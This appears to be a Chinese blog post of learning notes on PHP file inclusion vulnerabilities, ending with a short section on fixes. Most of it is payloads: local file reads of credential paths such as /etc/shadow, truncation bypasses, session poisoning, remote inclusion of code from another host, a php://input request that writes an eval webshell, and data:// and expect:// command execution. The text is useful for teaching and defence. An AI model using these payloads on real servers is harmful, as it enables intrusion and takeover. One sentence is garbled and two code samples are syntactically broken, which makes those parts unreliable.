文件包含漏洞学习记录

文件包含漏洞

文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期文件。如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行。

文件包含漏洞肯能会造成服务器网页被篡改、网站被挂马、服务器被远程控制、被安装后门等危害。

常见的文件包含函数:

1.include() 包含并运行制定文件。在出错时产生警告(E_WARNING),基本会继续运行。

2.include_once() 在脚本执行期间包含并运行制定文件。与include区别:检查是否被包含过,如果是则不会再次包含。

3.require()包含并运行指定文件。require在出错时产生E_COMPLE_ERROR几倍错误,脚本中止运行

4.require_once() 基本完全与require相同 与require区别:检查是否被包含过,如果是则不会再次包含。

漏洞示例代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

以上代码,对 G E T [ ‘ f i l e n a m e ’ ] 参 数 没 有 经 过 严 格 的 过 滤 , 直 接 带 入 了 i n c l u d e ( ) 函 数 , 攻 击 者 可 以 修 改 _GET[‘filename’]参数没有经过严格的过滤,直接带入了include()函数,攻击者可以修改 GET[filename]include()_GET[‘filename’]的值,加载其他文件,执行非预期的操作,由此造成了文件包含漏洞;

我们在后面加上我们当前目录的文件1.txt 即可读取1.txt的内容显示出来
在这里插入图片描述

二、无限制本地文件包含漏洞

无限制本地文件包含漏洞

无限制本地文件包含漏洞是指代码中没有为包含文件制定特定前缀或者.php、.html等扩展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息,或者执行其他文件中的代码。

常见的敏感信息路径

Windows

c:\boot.ini // 查看系统版本

c:\XX\httpd.conf Apache配置信息

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix

/etc/passwd 账户信息

/etc/shadow 账户密码文件

/etc/httpd/conf/httpd.conf Apache配置文件

/etc/my.conf mysql 配置文件

/usr/local/app/apache2/conf/httpd.conf Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf 虚拟网站配置

/usr/local/app/php5/lib/php.ini PHP相关配置

无限制本地文件包含漏洞示例:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

利用漏洞读取Mysql配置信息

payload:

http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini
在这里插入图片描述

利用无限制本地包含漏洞执行代码
在这里插入图片描述

三、有限制本地文件包含漏洞

简介:

有限制本地文件包含漏洞是指代码中为包含文件制定了特定的前缀或者.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。常见的有限制本地文件包含过滤绕过的方式主要:有%00截断文件包含、路径长度截断文件包含、点号截断文件包含这三种

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename,".html");
?>

1.%00截断

%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。攻击者可以利用这个漏洞绕过扩展名过滤

漏洞利用条件:

(1) magic_quotes_gpc=off

(2) PHP<5.3.4

测试结果;

Payload: http://127.0.0.1/test.php?filename=xiaohua.txt%00

通过%00截断了后面的.html扩展名过滤,成功读取了xiaohua.txt文件的内容
在这里插入图片描述

2.路径长度截断文件包含

操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断

漏洞利用条件

Windows下目录的最大路径256B

Linux下目录的最大路径长度为4096B

测试payload:

http://127.0.0.1/test.php?filename=xiaohua.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

执行完成后成功截断后面的.html扩展名,包含了xiaohua.txt文件
在这里插入图片描述

3.点号阶段文件包含

点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断。

测试payload:

http://127.0.0.1/test.php?filename=xiaohua.txt…

成功使用.号截断后面的.html扩展名,包含了我们想要的文件。
在这里插入图片描述

四、Session文件包含

定义:

当可以获取Session文件的路径并且Session文件的内容可控时,就可以通过包含Session内容可控。

利用条件:

  1. Session的存储位置可以获取
    
  2. Session内容可控 
    

(1) 通过phpinfo的信息获取session的存储位置

Phpinfo中的session.save_path保存的是Session的存储位置。通过phpinfo的信息获取session.save_path为/var/lib/php。
在这里插入图片描述

<?php
     session_start();
    $ctfs  = $_GET['ctfs'];
     $_SESSION['username']=$ctfs;
?>

此代码的$ctfs变量的值可以通过GET型ctfs参数传入。PHP代码将会获得GET型ctfs变量的值存入Session中。攻击者可以利用GET型ctfs参数将而已代码写入Session文件中,然后再利用文件包含漏洞包含此Session文件,向系统中传入恶意代

码。

漏洞利用payload:

http://127.0.0.1/test.php?ctfs=<?php phpinfo(); ?> 将php语句写入session中

http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\tmp\tmp\sess_c3b4faa1f3b28c602c862bdf366fd92c 包含session文件

session文件名(真正的文件名默认都有个前缀就是sess_)

在这里插入图片描述

五、远程文件包含

一、无限制远程文件包含
无限制远程文件包含是指文件的位置并不是本地服务器,而是通过URL形式包含其他服务器上的文件,执行文件中的恶意代码。

漏洞利用条件:

(1) allow_url_fopen=on

(2) allow_url_include=on

漏洞代码

<?php
     $filename  = $_GET['filename'];
       include($filename);
?>

Payload:

http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt

包含在xiaohua.txt中的PHP代码通过远程文件包含被成功当成PHP代码解析。
在这里插入图片描述

二、有限制远程文件包含
有限制远程文件包含是指当代吗中存在特定的前缀或者.php、.html等扩展名过滤时,攻击者仅需要绕过前缀或者扩展名过滤,才能执行远程URL中恶意代码。

漏洞代码:

<?php
     $filename  = $_GET['filename'];
     include($filename..html”);
?>
  1. 问号绕过
    

http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt?

  1. #号绕过
    

http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%23(#号要编码)

  1. 空格绕过
    

http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%20(%20是空格的url编码)

FUZZ可以大量检测

六、PHP伪协议

PHP带了很多内置URL风格的封装协议,可用于fopen、copy、file_exists和filesize等文件系统函数。除了这些内置封装协议,还能通过stream_wrapper_register注册自定义的封装协议。这些协议都被称为伪协议。

File:// ——访问本地文件系统

http:// ——访问HTTP(s)网址

ftp:// ——访问FTP(s)URLs

php:// 访问各个输入/输出流(I/o streams)

zlib:// 压缩流

data:// 读取数据(RFC2397)

glob:// 查找匹配的文件路径模式

phar:// PHP归档

ssh2:// Secure Sheel2

rar:// RAR

ogg:// 音频流

expect:// 处理交互式的流

php://伪协议

php://伪协议是PHP提供的一些输入输出流访问功能,允许访问PHP的输入输出流,标准输入输出和错误描述符,内存中、磁盘备份的临时文件流,以及可以操作其他读取和写入文件资源的过滤器。

  1. php://filter
    

php://filter 是元封装器,设计用于数据流打开时的筛选过滤应用,对本地磁盘文件进行读写。

漏洞利用条件:

利用php:filter读本地磁盘文件时不需要开启allow_url_fopen和allow_url_include

用法:

(1):filename=php://filter/read=convert.base64-encode/resource=xx.php
(2):filename=php://filter/convert.base64-encode/resource=xxx.php
参数:

Resource=<要过滤的数据流> 必需

read=<读链的筛选列表> 可选

write=<写链的筛选器列表> 可选

   漏洞代码:
 <?php
     $filename  = $_GET['filename'];
       include($filename);>
   Pyload:

   http://127.0.0.1/test.php?filename=php://filter/read=convert.base64-encode/resource=test.php

利用php://filter获取了test.php文件的Base64编码
在这里插入图片描述

  1. php://input
    

php://input可以访问请求的原始数据的只读流,即可以直接读取POST上没有经过解析的原始数据,但是使用enctype=”multipart/form-data”的时候php://input是无效的。

(1):读取POST数据

利用条件:

示例代码:

<?php echo file_get_contents("php://input") ?>

上面代码输出file_get_contents函数获取的php://input数据。测试传入POST数据 字符串xiaohua最终输出该字符串 。php://input可以获取POST传入的树
在这里插入图片描述

(2)写入木马

    利用环境:

    需要开启allow_url_include=on

    漏洞代码:
<?php
  $filename=$_GET['filename'];
  include($filename);
?>

Payload:

URL: http://192.168.1.110/test.php?filename=php://input
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[xiaohua])>')?>
通过php://input执行后成功在网站根目录创建了shell.php
在这里插入图片描述

   (3)    执行命令

根写入木马漏洞代码操作基本类似知识post部分需要改

Post:<?php system(‘whoami’);?>

url: http://192.168.1.110/test.php?filename=php://input
在这里插入图片描述

  1. file://伪协议
    

file://伪协议可以访问本地文件系统,读取文件的内容

示例代码:

<?php
  $filename=$_GET['filename'];
  include($filename);
?>

Payload:

http://192.168.1.110/test.php?filename=file://C:\phpStudy\PHPTutorial\WWW\xiaohua.txt
在这里插入图片描述

  1. data://伪协议
    

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

利用环境:

allow_url_include=on

allow_url_fopen=on

使用方法:

   data://text/plain;base64,xxxx(base64编码后的数据)



代码示例
<?php
  $filename=$_GET['filename'];
  include($filename);
?>
   对<?php system("dir")?>进行base64编码

   PD9waHAgc3lzdGVtKCJkaXIiKT8+ 最后有个+号进行url编码+=%2b

   最终payload:

http://192.168.1.110/test.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b
在这里插入图片描述

  1. phar://伪协议
    

phar://是用来进行解压的伪协议,phar://参数中的文件不管是什么扩展名,都会被当做压缩包

利用环境

PHP>5.3.0

Allow_url_include=on

Allow_url_fopen=on

示例代码:

<?php
  $filename=$_GET['filename'];
  include($filename);
?>

用法:

?file=phar://压缩包/内部文件->phar://xxx.png/shell.php

压缩包要用zip://伪协议压缩,而不能用rar://伪协议

新建xiaohua.txt里面包含恶意代码压缩为xiaohua.zip 或者压缩完改后缀jpg上传 然后执行

Payload:http://127.0.0.1/test.php?filename=phar://xiaohua.jpg/xiaohua.txt
在这里插入图片描述

  1. zip://伪协议
    

zip://伪协议和phar://伪协议在原理上类似,用法不一样

利用环境

PHP>5.3.0

Allow_url_include=on

Allow_url_fopen=on

示例代码:

<?php
  $filename=$_GET['filename'];
  include($filename);
?>

用法:

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

Eg:zip://xxx.png#shell.php

Payload: 192.168.1.110/test.php?filename=zip//shell.png:shell.php

新建xiaohua.txt里面包含恶意代码压缩为xiaohua.zip 或者压缩完改后缀上传 然后执行

Payload:http://127.0.0.1/test.php?filename=zip://C:\phpStudy\PHPTutorial\WWW\xiaohua.zip%23xiaohua.txt

在这里插入图片描述

  1. expect://伪协议
    

expect://伪协议主要用来执行系统命令,但是需要安装扩展

用法:?file=expect://ls

文件包含漏洞修复

代码层修复
    进行文件过滤,将包含的参数设置为白名单即可

2. 服务器安全配置

(1) 修改PHP配置文件,将open_basedir的值设置为可以包含特定目录后面要加/

Eg:open_basedir=/var/www/html

(2) 修改PHP的配置文件,关闭allow_ur_include 可以防止远程文件包含

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值